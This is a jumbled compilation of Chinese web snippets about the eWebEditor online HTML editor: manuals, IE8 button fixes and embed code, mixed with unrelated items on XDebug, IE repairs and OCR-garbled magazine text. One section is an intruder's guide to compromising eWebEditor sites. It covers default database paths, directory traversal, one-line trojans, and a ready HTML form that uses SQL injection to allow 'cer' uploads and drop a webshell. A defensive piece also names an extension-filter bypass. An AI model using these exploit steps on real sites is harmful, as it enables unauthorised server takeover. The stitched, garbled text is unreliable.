如何解决ewebeditor在线编辑器图标点标无效的问题
ewebeidtor编辑器使用说明
Ewebeditor 使用手册郑州市企业服务平台-稿件编辑器使用手册1、界面概述 (3)菜单栏 (3)编辑区 (3)2、菜单栏使用说明 (3)2.1、源代码模式 (3)2.2、预览模式 (4)2.3、全屏模式 (4)2.4、保存内容 (5)2.5、修改编辑器内容模板 (5)2.6、剪切、复制、粘贴 (6)2.7、撤销、重做 (6)2.8、查找、替换 (6)2.9、字体样式以及位置设置 (7)2.10、上标和下标设置 (8)2.11、插入和取消超链接设置 (8)2.12、设置文档编号和缩进设置 (9)2.13、插入媒体(图片、flash、视频) (9)2.14、插入表格、水平线、特殊符号 (12)2.15、全选和清除格式 (14)2.16、使用小技巧 (14)2.17、常见问题汇总 (15)1、界面概述所见即所得的在线编辑器界面主要分为以下两大部分:菜单栏编辑器顶部为菜单栏,主要放置各种编辑功能的选项及按钮图标,使用者只需点击图标或选择相关选项即可实时对编辑栏编辑的内容进行添加或修改、修饰。
编辑区编辑器中部空白处为编辑区,主要是供使用者输入及编辑内容所用,同时所编辑的内容全部都是所见即所得,但有部分内容,如活动的图像、文字、电影等在编辑状态下只会呈现静止状态,需使用者转换到预览状态方可真实再现。
图:稿件编辑器主界面2、菜单栏使用说明编辑器菜单栏图标功能使用说明如下:2.1、源代码模式图:源代码模式如上图所示,红线区域内为"源代码"模式图标。
默认未选中。
点击该图标,编辑框进入源代码编辑模式,如下图所示:图:源代码编辑模式此时“源代码”图标将为选中状态,其它图标为不可选状态。
这时在进行内容编辑时,可以通过添加html标签进行设定文本样式。
再次点击“源代码图标”编辑器进入普通模式,“源代码”图标取消高亮状态。
其它编辑图标恢复可选状态。
2.2、预览模式图:进入预览模式如上图所示:红线框为预览模式图标。
eWebeditor编辑器使用方法
eWebeditor编辑器使⽤⽅法在我们管理⽹站时,很容易出现编辑器问题,有些事由于⽹络问题,如⽹速过慢也会导致⽆法上传图⽚,或者是编辑内容,另⼀些就可能是编辑器本⾝的问题,如编辑器和当前浏览器不匹配,这种情况就需要我们重新来装载编辑器,过程⾮常简单,简⾔之,上传和调⽤!<iframe id="eWebEditor1" src="../edit/ewebeditor.php?id=content" frameborder="0" scrolling="No" width="550" height="350"></iframe><input name="content" type="hidden" id="content" />每个iframe是⼀个eWebeditor编辑器,src是eWebeditor编辑器所在的相对⽬录。
?id=content和下⾯的<input name="content" type="hidden" id="content" />要对应。
安装是⾮常容易的,⾸先你要做的就是把eWebEditor⽂件上传到你的⽹站,请按以下步骤进⾏:eWebEditor带有后台管理功能,你可以⽅便对样式,上传⽂件等进⾏管理。
设置请注意:eWebEditor的调⽤是⾮常简单,基本上只是在原来的使⽤中加⼊⼀⾏代码。
标准调⽤:<iframe ID="eWebEditor1" src="/ewebeditor.asp?id=content1&style=standard" frameborder="0" scrolling="no" width="500"HEIGHT="350"></iframe> 参数说明:/ewebeditor.asp应改为你实际安装的路径参数id:相关联的表单项名,也就是提交保存页要引⽤的表单项名,多个调⽤时,请保证id不同,可参见后⾯例⼦参数style:使⽤的样式名,可以是标准的样式名或⾃定义的样式名,如果使⽤标准standard可留空width,height:根据实际需要设置,eWebEditor将⾃动调整与其适应在后台管理中,可以得到每个样式的最佳调⽤代码所有⼊⼝参数:(即:eWebEditor.asp?后⾯的参数)id:相关联的保存编辑内容的表单项名,也就是提交保存页要引⽤的表单项名style:使⽤的样式名,可以是标准的样式名或⾃定义的样式名,如果使⽤标准standard可留空originalfilename:相关联的保存上传原⽂件名列表的表单项名,必须是input类型,可以带onchange事件[例⼦]savefilename:相关联的保存上传保存⽂件名列表的表单项名,必须是input类型,可以带onchange事件[例⼦]savepathfilename:相关联的保存上传保存⽂件名(带路径)列表的表单项名,必须是input类型,可以带onchange事件[例⼦]例⼦:新增表单你原来可能是:<textarea name="content1" rows=10 cols=50></textarea>现在是:<input type="hidden" name="content1" value=""><iframe ID="eWebEditor1" src="/ewebeditor.asp?id=content1&style=standard" frameborder="0" scrolling="no" width="500"HEIGHT="350"></iframe> 或者 <textarea name="content1" style="display:none"></textarea><iframe ID="eWebEditor1" src="/ewebeditor.asp?id=content1&style=standard" frameborder="0" scrolling="no" width="500"HEIGHT="350"></iframe>例⼦:修改表单你原来可能是:<textarea name="content1" rows=10 cols=50><%=Server.HTMLEncode(oRs("D_Content"))%></textarea>现在是:<input type="hidden" name="content1" value="<%=Server.HTMLEncode(oRs("D_Content"))%>"><iframe ID="eWebEditor1" src="/ewebeditor.asp?id=content1&style=standard" frameborder="0" scrolling="no" width="500"HEIGHT="350"></iframe> 或者 <textarea name="content1" style="display:none"><%=Server.HTMLEncode(oRs("D_Content"))%></textarea><iframe ID="eWebEditor1" src="/ewebeditor.asp?id=content1&style=standard" frameborder="0" scrolling="no" width="500"HEIGHT="350"></iframe>注意事项:eWebEditor允许在同⼀表单⾥有多个,但请保证id在整个⽹页中是唯⼀的。
关于eWebEditor常见的问题及其个人使用心得
eWebEditor是个很好用的工具,见面也很好看。
是一款很受欢迎的在线编辑器。
现在我和大家分享一下我近期使用eWebEditor遇到的问题及其解决办法。
(这里先声明,我使用的是飞鱼修改版的eWebEditor)1.关于eWebEditor不兼容IE8的问题。
在网上查了一下,发现原因是这样的,因为ie8屏蔽了anonymous方法所以要改成onclick方法。
修改如下打开include下面的editor.js文件,有这样的段代码:if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");应该修改成:1if(navigator.appVersion.match(/MSIE (8)\./i)!=null){2if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)"); 3}else{4if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");5}在网上找的某一片文章,它讲IE7也认为是屏蔽了anonymous方法,经过个人测试,IE7和IE6一样,没有屏蔽anonymous,故无需对IE7进行判断,但是这里有个问题,就是IE8的bate版无法进行判断,如果高手请指点一下。
2.使用编辑器提交的内容为空的时候,tomcat服务器会自动关闭的问题。
我的办法是:1function getHTML() {2var html;3if(bEditMode){4 html = eWebEditor.document.body.innerHTML;5 }else{6 html = eWebEditor.document.body.innerText;7 }8var re = new RegExp(sBaseUrl.replace(/\//,"\/"),"gi");9 html = html.replace(re, "");10if ((html.toLowerCase()=="<p> </p>")||(html.toLowerCase()=="<p></p> ")){11 html = ".";12 }13return html;14}但是这并不能找到问题的根源,后来在javaeye的一篇文章里看到问题的根源。
ewebeditor漏洞总结
ewebeditor漏洞总结漏洞总结:Internet是一个非常便利的工具,在我们的日常工作和生活中发挥着重要的作用。
不可否认的是,Internet也存在着一些安全问题和漏洞。
其中一个重要的漏洞是ewebeditor的漏洞。
首先,ewebeditor存在一个文件上传漏洞。
黑客可以通过向服务器上传恶意文件来执行任意代码,这将导致许多安全问题,例如获取管理员权限、删除或篡改网站文件等。
为了防止这种漏洞的利用,我们应该及时更新ewebeditor的版本,以及限制上传文件的类型和大小。
第二个漏洞是XSS(跨站脚本)漏洞。
黑客可以通过在表单提交的数据中注入恶意脚本来实施XSS攻击。
一旦用户访问受到漏洞影响的页面,他们的个人信息就可能被泄露,包括登录凭据、银行账户信息等。
为了防止这种漏洞的利用,我们应该对用户输入进行严格的过滤和验证,并使用适当的转义字符。
此外,ewebeditor还存在一个SQL注入漏洞。
黑客可以在表单提交的数据中注入恶意的SQL语句,从而获得对数据库的非法访问。
这将导致许多安全问题,包括数据泄露、数据丢失等。
为了防止这种漏洞的利用,我们应该使用准备好的SQL语句和参数化查询,以防止用户提交的数据被当作代码执行。
在防止ewebeditor漏洞利用的过程中,我们还应该加强对系统的监控和日志记录。
通过实时监测系统的安全事件和漏洞扫描,我们可以及时发现并解决潜在的安全问题。
此外,对用户的行为进行日志记录也是很重要的,这将有助于我们了解异常操作和非法访问的情况。
总之,ewebeditor是一个非常常见且易受攻击的漏洞。
为了保护我们的系统和数据安全,我们应该认识到漏洞的存在,并采取适当的措施来预防和解决漏洞问题。
只有不断学习和更新我们的安全知识,我们才能更好地应对不断变化的网络环境。
网站后台编辑器中的工具按钮不能用(点击后没有反应)原因分析和处理方法
保存,刷新系统文件,清理缓存。再重新打开后台编辑器看看,一共有两处。注意了!
其实原理非常简单,就是IE8对anonymous的不支持导致了编辑器的没有反应,所以我们增加了对IE的判断达到最终让
解决方法2、修改动易代码:找到存放网站文件的文件夹
打开根目录下的editor.asp(用记事本打开),找到以下代码
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'anonymous()');
修改为
if(navigator.appVersion.match(/8./i)=='8.')
后台编辑器中的工具按钮不能用(点击后没有反应)原因分析和处理方法2010-04-25 09:19原因分析:是因为你的IE浏览器升级成了IE8.0(或正在使用IE8.0)了或正在使用了遨游浏览器等ie核心浏览器,动易后台系统不支持。
解决方法1、卸载IE8.0浏览器或遨游浏览器,使用其它的浏览器。
{
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'onclick(event)');
}
else
{
if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'a来自onymous()');
eWebEditor按钮失效的解决方法
eWebEditor按钮失效eWebEditor在IE8,IE7下所有按钮无效eWebEditor按钮失效问题解决方法eWebEditor编辑器在遇到新版本IE浏览器的情况下,一些功能会散失掉,武功尽废,丝毫不起一些特意功能的作用,在这里说下具体的解决方法:如果你用的是IE7或者IE8这两兄弟来做你的html翻译,那么就用以下方法来为eWebEditor 打开任督二脉。
今天帮朋友搞一个小网站,结果用到了eWebEditor,就到官方网站下载一个免费版的如下:“eWebEditor Version 2.8.0 最终版测试结果,点击所有的按钮都无效,什么反应都没有,于是在网上找答案,哇,太多的朋友遇到这样的问题了,感谢前面这些朋友提供的方法,(BS有些人写出的错误方法,感觉被骗一样,很不爽)。
下面将错误的原因和方法总结道这里,备忘。
错误的原因是因为ie8屏蔽了anonymous方法所以要改成onclick方法,打开include下面的editor.js文件,有这样的段代码(大概在166所在的函数中):Js代码:if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");把那个anonymous方法改成onclick就可以了。
问题是解决了,结果发现把那个方法改成onclick之后在ie6下面就不管用了,解决方法:Js代码:if(navigator.appVersion.match(/MSIE (7|8)\./i)!=null){ if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)"); }else{ if(element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()"); }if(navigator.appVersion.match(/MSIE (7|8)\./i)!=null){ if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)"); }else{ if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");}OK,这下对了。
EclipsePHPXDebug断点无效(即断点处不停止)的解决方案
EclipsePHPXDebug断点无效(即断点处不停止)的解决方
案
之前在配置Eclipse PHP XDebug时遇到以下情况:
通过webpage启动调试后,可以进行调试,即“Break at the first line”。
但无法进行断点调试,即调试时遇到断点不会停止,而且也无法看到变量的值。
出现这种情况的话,多半是因为PHP Server的Path Mapping设置不正确。
错误的设置:
Path on server: http://localhost/sample
Local Path: /sample
修改为:
Path on server: /sample
Local Path: /sample
如下图:
再次进行调试,就能正确在断点处停止。
至于调试时,变量值无法显示,即都显示为“uninitialized”的情况。
那是因为XDebug的版本问题,即2.1版前的XDebug会存在这个BUG。
在众多的XDEBUG版本中,如何找出自己需要的版本呢?
访问以下链接:
/find-binary.php
将phpinfo()的内容粘帖到上面链接的页面的输入框中,点击提交。
之后会看到分析结果,即推荐安装的XDebug版本。
网页无法显示光标的解决办法
网页上无法显示光标,无法输入字符的解决方法碰到过几次这样的问题,为方便大家解决,在网上摘录了相关方法,记录如下:解决方法一:清空IE临时文件(打开IE浏览器——工具——internet选项——删除cookies...、删除文件,把“删除所有脱机内容”选上)。
解决方法二:这是由于c:\windows\system32\mshtmled.dll丢失或者损坏造成的,从正常的机器上拷贝该文件到本机的才c:/windows/system32目录下即可。
或者从安装盘中提取该文件。
记住拷完后还要运行regsvr32 mshtmled.dll进行注册!解决方法三:1.点击“开始”→“运行”,在弹出的“运行”对话框中输入“regsvr32 actxprxy.dll”(注意输入时没有引号),然后点击“确定”按钮,接着会出现一个信息对话框“DllRegisterServer in actxprxy.dll succeeded”,在该对话框中点“确定”按钮;2.再次点击“开始”→“运行”,在弹出的“运行”对话框中输入“regsvr32 shdocvw.dll”(注意输入时没有引号),然后点击“确定”按钮,接着会出现一个信息对话框“DllRegisterServer in shdocvw.dll succeeded”,在该对话框中点“确定”按钮;3.重新启动。
不行的话,运行下面的regsvr32 shdocvw.dll ,确定,接着出现一个消息框,确定regsvr32 oleaut32.dll,确定,接着出现一个消息框,确定regsvr32 actxprxy.dll,确定,接着出现一个消息框,确定regsvr32 mshtml.dll,确定,接着出现一个消息框,确定regsvr32 msjava.dll,确定,接着出现一个消息框,确定llllmshtmled.dllregsvr32 browseui.dll,确定,接着出现一个消息框,确定regsvr32 urlmon.dll,确定,接着出现一个消息框,确定重新启动解决方法四:1:解决办法:从正常的机器上拷贝c:\windows\system32\mshtmled.dll和BROWSEUI.DLL到本机的system32目录下即可。
IE8正式版下动易后台编辑器无效的解决方法
微软的 ie8 正式版已于 2009 年 3 月 20 日正式发布了,也有不少的动易用户升级了自己的浏览器,但在 升级后都发现动易的后台编辑器无法使用了,症状就是点击任何功能图标都没有弹出设置窗口,经过 gg 搜索了一下,终于找到了解决 ie8 下无法使用编辑器的方法。
具体修改方法如下: 打开根目录下的 editor.asp,找到以下代码 if (element.yuseronclick) eval(element.yuseronclick + 'anonymous()'); 修改为 if(navigator.appversion.match(/8./i)=='8.') { if (element.yuseronclick) eval(element.yuseronclick + 'onclick(event)'); } else { if (element.yuseronclick) eval(element.yuseronclick + 'anonymous()'); } 保存,刷新系统文件,清理缓存。
再重新打开后台编辑器看看 懒得自己改的话可以用我修改过的 editor.asp 覆盖就可以了微软的 IE8 正式版已于 2009 年 3 月 20 日正式发布了, 也有不少的动易用户升级了自己的浏 览器, 但在升级后都发现动易的后台编辑器无法使用了, 症状就是点击任何功能图标都没有 弹出设置窗口,下面就介绍两种方法解决这个问题。
方法一 打开动易根目录下的 editor.asp 文件,找到以下代码:if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'anonymous()');修改为:if(navigator.appVersion.match(/8./i)=='8.') { if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'onclick(event)');} else { if (element.YUSERONCLICK) eval(element.YUSERONCLICK + 'anonymous()'); }保存文件后, 刷新系统文件, 清理缓存, 再重新打开动易后台, 编辑器就可以正常使用了。
Ewebeditor的一些漏洞总结推荐
Ewebeditor的⼀些漏洞总结推荐于是像windows⼀样被⿊客们挖掘出很多漏洞,⼤家莫急,笔者Minghacker总结前⼈基础,⼀⼀道来。
对于⽬前asp版本的ewebeditor编辑器漏洞主要分为以下7点:默认,遍历⽬录漏洞,⼀句话,注⼊,构造,cookie欺骗,社⼯(踩脚印⼊侵),NO1.ewebeditor编辑器⼀般默认数据库路径是db/ewebeditor.mdb默认的后台路径是admin_login.asp建议最好检测下admin_style.asp⽂件是否可以直接访问举例有个细节需要注意:有抄袭版的;SouthidcEditor数据库SouthidcEditor\Datas\SouthidcEditor.mdb没登陆页⾯。
利⽤⽅法:PopUp.asp页⾯传图⽚⼩马,nc提交,得shellNO2.遍历⽬录漏洞(具体如下):登陆编辑器---上传⽂件管理---选择样式⽬录(随便选⼀个⽬录)得到:ewebeditor/admin_uploadfile.asp?id=14在id=14后⾯添加&dir=..再加 &dir=../..&dir=../../../.. 看到整个⽹站⽂件了此漏洞危害⼤⼤的,绝对恐怖NO3.当数据库被管理员修改为asp、asa后缀的时候,可以插⼀句话⽊马服务端进⼊数据库,然后⼀句话⽊马客户端连接拿下webshellNO4.有的时候爆了数据库找不到后台地址让⼈发急,其实可以试试查看样式表,有没别⼈加⼊的asp、asa后缀样式表,也就是虽说的踩着脚印⼊侵。
还有的时候聪明的管理员也就是加“#”不妨社⼯试试,我可没少占便宜的例如:db/#ewebeditor.asa、db/#ewebeditor.asp 、db/#ewebeditor.mdbNO5.注⼊2.1.6的注⼊就不多说了,如下保存为html⽂件修改action,直接上传cer马<H1>ewebeditor asp版 2.1.6 上传漏洞利⽤程序----</H1><br><br><form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union selectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style wheres_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"><input type=file name=uploadfile size=100><br><br><input type=submit value=Fuck></form>有次⽆意的⼊侵使我发现了ewebeditor2.7.0版本的存在注⼊漏洞简单利⽤就是http://site/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass,然后利⽤nbsi进⾏猜解,对此进⾏注⼊取得账号密码NO6.有的时候管理员不让复制样式,但是你⼜看到有个样式被别⼈以前⼊侵修改了存在asa或者之类可以传shell,但是上传插⼊⼯具没有,⼜⽆法修改怎么办那?也许很多⼈说应该可以加⼯具栏,但是我就遇见过不让加的这样我们可以利⽤ewebeditor⾥的upload.asp⽂件进⾏本地构造进⾏上传具体如下:在action下⾯<form action="" >><input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value"><input type="submit" name="uploadfile" value="提交"><input type=hidden name=originalfile value=""></form>------------------------------------------------------------------------------------------------------------------------------------------------<input type="submit" name="uploadfile" value="提交"> 放在action后头,适合⽤于在ewebeditor后台那个预览那⾥出来的⽐如上传图⽚那⾥,有些时候上传页⾯弹不出来,就可以⽤upload.asp?action=save&type=ASA&style=test 这个本地来提交,不过这个东西还是要数据库⾥上传类型有ASA才可以传得上。
高校图书馆网站在线编辑器图片按钮失效的解决
e We b E d i t o r We b N o t e E d i t o r
0 0 3诬 2 0 0 5经
学. i 罘 辅导
高校 图书馆 网站在线编辑器 图片按钮失效 的解决
@杨传汶
摘要 :本文简要介绍 了在 线编 辑器 , 并提 出高校 图书馆 网站在线编 辑器 图片按钮失效 的一些解决办法。 关键词 : 在线编辑器 ; 高校 图书馆 ; 网站 高校扩招和合并教改政策极大推进 了图 书馆信息 化建设 , 很 多高校 图书馆抢抓机遇建立起 了 自己 的网站。多数 网站核 心模块都 经历 过多
弹出。
次与时俱进 的改版或升级 , 但 随着 网络环境 的变化 , … 小 障碍 和小隐
患也悄然 累积 , 不起眼的在线编辑器就是一例。 在线编辑器 在线编辑器又称在线网页 ( h t m 1 ) 编辑 器。它是 一种 通过 浏览 器等 来对 网页文字 、 图片等 内容进行在线编辑修 改的工具。随着 网页编辑要 求越来越高 , 人们不再满足于单 纯和枯 燥 的浏 览器 默认模 式 , 对 网站信 息发 布过程 中的编辑功能进行了大量的改进 和增加 , 很多先进 易用的第 三方编辑器应运而生 , 传统 的多行 文本输 入框 “ t e x t a r e a ” 逐渐被 可视化 的富文本输入框替换 , 用户在 网站 上即可获 得“ 所见 即所得” 的效 果 , 由 于在线编辑 器简单易用 , 嵌套 移植性 好 , 被 大量 网站作为第 王方 控件运 用于信 息的编辑和发布 以及在线文档的共享 , 比如新闻或 博客的发布 。 在线编辑器大 同小异 , 一 般具 有以下 五种功 能 , 即: 文 字编辑 、 文字 格 式的编辑 、 表格 的编辑 、 文档格 式编辑 以及 多媒 体信 息处理 等。在实 现方式上通 常 自 行确定三 种模式 , 即: 编辑 模式 、 代码模式 和预 览模式 。 编辑模式让用户可 以进行 文本 、 图片等 内容增 加 、 删 除和修 改。代码模 式 用于专业技术人员来查看 和修改原 始代码 ( 如H T MI 代码 等 ) 。预 览 模式 则是用来查看最终 的编辑效果 。 编辑器 一般体积都不大 , 通用性较好 , 区别只在于用户 的使用 习惯 、 是否开源或 免费 、 是否具有足够的用户定 制功能等 。常 见的在线编辑 器 如下表
eWebEditor 辑器按钮失效 IE8下eWebEditor编辑器无法使用的解决方法
eWebEditor 辑器按钮失效IE8下eWebEditor编辑器无法使用的解决方法最近我把IE浏览器更新到了IE8.0,在用eWebEditor在线HTML文本编辑器的时候点击eWebEditor上的所有编辑按钮都没用,只看到浏览器状态栏左下角显示网页上有错误,于是上网查了一下。
终于找到解决的方法,测试后正常。
eWebEditor编辑器按钮失效,IE8下eWebEditor编辑器无法使用问题解决方法有两个,一个是下面的方法通过修改js文件,其实我们也可以使用第二种方法通过在页面中加入这一句即可。
复制代码代码如下:<meta http-equiv="x-ua-compatible" content="ie=7" />或复制代码代码如下:<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />上面的两个意思都是一样的,写法稍有不同。
通过修改js文件如下操作:在eWebEditor的目录里找到Editor.js文件,路径是webedit\Include\Editor.js(版本不同路径也不一定相同新版本中webedit/js/editor.js),在其中找到如下代码:复制代码代码如下:if (element.YUSERONCLICK) {eval(element.YUSERONCLICK + "anonymous()");}或复制代码代码如下:if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");版本不同可能写法有点区别将上面的代码替换为复制代码代码如下:if(navigator.appVersion.match(/8./i)=='8.'){if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)"); }else{if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()"); }你在进入后台测试下,是不是eWebEditor编辑器按钮可以正常使用了。
eWebEditor V3.80 使用说明
eWebEditor V3.80 使用说明最新更新(V3.80)=============================1. 增加服务器端图片、Flash等文件插入功能,图片预览功能,及后台可设置此功能的开关。
2. 增加多个示例调用代码。
3. 修复当编辑器被初始为不显示时,工具栏上的按钮有可能被压缩堆在一起的问题。
4. 修复JSP版后台程序属性值有空格的匹配错误5. 修复英文界面的"热点图片"对话框中,"确定","取消"按钮看不见的问题6. 修复ASP版无组件上传方法,部分中文名无法上传及文件大于设置值时无响应的问题7. 修复ASP版图片水印可能不能使用的问题8. 修复段落属性对话框中单字间距使用了没有效果的问题9. 修复繁体语言包编码错误的问题10. 修复从WORD中拷贝部分样式丢失的问题11. 修复JSP版在Linux系统下文件路径错误的问题12. 修复在代码模式粘贴时,单引号被转全角的问题13. 修复PHP+Apache下的文件上传问题14. 修复所有已知BUG最新更新(V3.60)=============================1. 增加插入和修改艺术字的功能,利用此功能可以在网页上做出特殊效果的文字。
2. 增加段落属性功能,包括右键功能,可以对一个或多个段落使用样式功能,段前段后行距等可设置,不再会由于段落间距太大影响效果。
3. 增加缩略图、文字水印、图片水印功能。
并可设置缩略图大小、生成条件,水印文字内容、颜色、字体、阴影等。
4. 加入公式编辑功能,支持WEBEQ接口,可以在线编辑各类数学公式,具有插入与修改的功能。
5. 加入外部样式表引用接口,可以使用与站点相同的样式表文件来控制编辑区的效果,使得编辑内容与显示内容完全效果相同。
6. 所有对话框增加自适应功能,对话框的大小可以根据客户端操作系统自动调整对话框的大小,以适应语言、平台环境的变化。
讲解系统程序打补丁的三大误区
十 全 十 美 , 不 了 会 出 现 各 种 各 样 免
的 Bu 一 旦 出 现 Bu 就 好 比 衣 服 g, g, 上 破 了 个 洞 . 时 候 我 们 就 需 要 给 这 软 件 打 上 补 丁 。 但 是 , 补 丁 也 是 打
智能而精确 地找 到该打 的补 丁 , 能
从 W id ws d t n o Up ae下 载 来 的 微 软 官
都 会 失 败 , 这 是 因 为 这 类 操 作 系 统
的 文 件 曾 被 第 三 方 修 改 过 , 因 此 微
方 补 丁 时 。 则 安 装 失 败 , 则 可 轻 重
能 导 致 系 统 故 障 。 如 出 现 电 脑 蓝 例
网 络
计 算 机 与 网 络 创 新 生 活
I 标 删 除 不 了 、 捷 方 式 打 不 开 的 解 决 方 法 E图 快
你 是 否 曾经 被 下 面 的现 象 困扰 , 如
中 毒 现 象 举 例
1 修 改 I 首 页 , 染 系 统 文 件 的 、 E 感
输 入 atb _h— ti r r—S★1k将 所 有 快 捷 . , n
3桌面上的图标出现异常 。 、 出现 打 不 开 、 开 不 是 想 要 的 东 西 、 键 出现 打 右
问题 等 现 象 。
毒 非 常 讨 厌 ) 点 “ 始 ” 单 , 运 行 ” , 开 菜 “ ,
然 后 输 入 rg dt x ,打 开 注 册 表 后 找 ee ie e . 到以下位置 :
IE主页无法修改,或者修改无效,解决方法
IE主页无法修改,或者修改无效,解决方法一、下载杀毒软件和系统工具比如:1 下载瑞星注册码修复工具;23721上网助手;3 金山毒霸注册表修复;等防御工具下载地址:/china_nejcer/blog/item/c188ea2efa4b15554fc226b7.h tml最近一些网页为了达到宣传的目的,利用IE的漏洞修改浏览者的注册表,肆意修改IE的首页、标题栏等内容,令人憎恶。
如果你对注册表比较熟悉,可参考本文所述的键值直接对其修改。
二、修改IE的标题栏即在IE浏览器最上方的蓝色横条里做广告,而不是显示默认的“Microsoft Internet Explorer”。
这种修改非常常见,有人也特意针对它编制了反修改的程序。
.注册表法HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main在注册表中找到以上两处主键,将其下的“Window Title”主键删除,并关闭所有打开的IE浏览器窗口再重新打开就能看到效果。
三、修改IE的首页1 这个改回来很方便,在IE的设置里就有。
比较麻烦的是某些网页在浏览者的硬盘里写入程序,使重启计算机后首页设置又被改了回去,这时可使用“系统配置实用程序”来解决。
开始—运行,键入msconfig点击“确定”,在弹出的窗口中切换到“启动”选项卡,禁用可疑程序启动项,一般电脑启动时就打开的那个网站地址就在里面,把他前面的勾去掉。
2 采用手动修改注册表法,开始菜单->运行->regedit->确定,打开注册表编辑工具,按如下顺序依次打开:HKEY_LOCAL_USER\Software\Microsoft\Internet Explorer\Main分支,找到StartPage键值名(用来设置默认首页),在右窗口点击右键进行修改即可。
如何检查并堵住网站的eWebEditor漏洞-电脑资料
如何检查并堵住网站的eWebEditor漏洞-电脑资料一、判断网站是否使用了eWebEditor的简单方法:查看程序源代码,看看源码中是否存在类似“ewebeditor.asp?id=”语句,只要有此语句的存在,就能判断网站确实使用了WEB编辑器,。
二、该WEB编辑器可能被利用攻击的安全漏洞:(1)管理员未对编辑器的数据库路径和名称进行修改,导致可以利用编辑器默认路径直接对网站数据库进行下载。
(2)管理员未对编辑器的用户登录路径进行修改,导致可以利用网站数据库所获得的用户名和密码直接登陆编辑器管理后台。
(3)该WEB编辑器上传程序存在的安全漏洞:请看Upload.asp文件,程序中有这么一段表达式:sAllowExt = Replace(UCase(sAllowExt), "ASP", "")任何情况下都不允许上传asp脚本文件但该语句仅过滤了ASP文件,未同时过滤ASA、CER等文件,电脑资料《如何检查并堵住网站的eWeb Editor漏洞》(https://)。
上述两类文件同样可以构成ASP程序后门程序。
还能利用在上传程序类型中增加“aaspsp”来绕过此方法对扩展名的过滤,根据该语句的过滤规则,“aaspsp”过滤了“asp”字符后,反而变成了“asp”,这种类似的漏洞利用方法也可以运用在动网论坛7.0 sp2中。
总结面对此种威胁网站管理员应该做好如下的防范措施:1、使用了eWebEditor编辑器的网站,应及时修改该编辑器的默认数据库路径和后缀名,防止数据库被非法下载2、修改编辑器后台登陆路径和默认的登陆用户名和密码,防止进入后台管理界面3、对Upload.asp语句进行修改,防止利用其上传ASP木马从而获得WEB权限4、及时对网站服务器IIS配置中的应用程序扩展名映射进行整理,确保其它类型的文件不能在服务器网站上运行。
在线html编辑器无法显示
在线HTML编辑器无法显示简介HTML(超文本标记语言)是用于创建网页的标准语言。
在线HTML编辑器是一种方便的工具,使用户能够在浏览器中实时编辑和预览HTML代码。
然而,有时候我们可能会遇到在线HTML编辑器无法显示的问题。
本文将探讨可能导致在线HTML编辑器无法显示的常见原因,并提供解决方案。
常见原因1. 浏览器兼容性问题在线HTML编辑器通常依赖浏览器来正确渲染和显示HTML代码。
不同的浏览器对HTML和CSS的解释和渲染方式可能有细微差异,这可能会导致在某些浏览器上无法正确显示编辑器。
解决方案:尝试在不同的浏览器上打开编辑器,比如Chrome、Firefox、Safari 等。
如果在某个特定的浏览器上无法显示,可以尝试更新浏览器版本或者使用其他浏览器。
2. 编辑器设置问题有些在线HTML编辑器可能具有自定义的设置选项,用户可以根据自己的需求进行配置。
如果编辑器设置不正确,可能会导致无法显示编辑器。
解决方案:检查编辑器的设置选项,确保它们设置正确。
通常会有一个默认设置,可以尝试将编辑器恢复为默认设置,然后再次尝试使用。
3. 代码错误在线HTML编辑器通常会对输入的HTML代码进行验证,并在发现错误时给出警告或错误提示。
如果您的HTML代码存在错误,编辑器可能无法正常显示。
解决方案:仔细检查您的HTML代码,确保它们符合HTML规范。
可以使用自动格式化工具或在线HTML验证工具来帮助查找和修复错误。
4. JavaScript被禁用或冲突部分在线HTML编辑器可能依赖JavaScript来实现实时预览和其他功能。
如果浏览器禁用了JavaScript或者与编辑器所使用的JavaScript库发生了冲突,可能会导致编辑器无法正常显示。
解决方案:确保浏览器中启用了JavaScript。
您还可以尝试在不同的浏览器中打开编辑器,因为不同的浏览器可能对JavaScript的处理方式有所不同。
5. 网络连接问题有时,编辑器无法显示的原因可能是由于您的网络连接问题。
引用 eWebEditor的使用教程
引用eWebEditor的使用教程默认分类2010-08-07 14:03:22 阅读23 评论0 字号:大中小订阅引用eWebEditor的使用教程3.3.1 标准调用要把eWebEditor集成到你原有的web应用系统中,你基本只需在原来的代码上,再加上一行如下形式的代码即可。
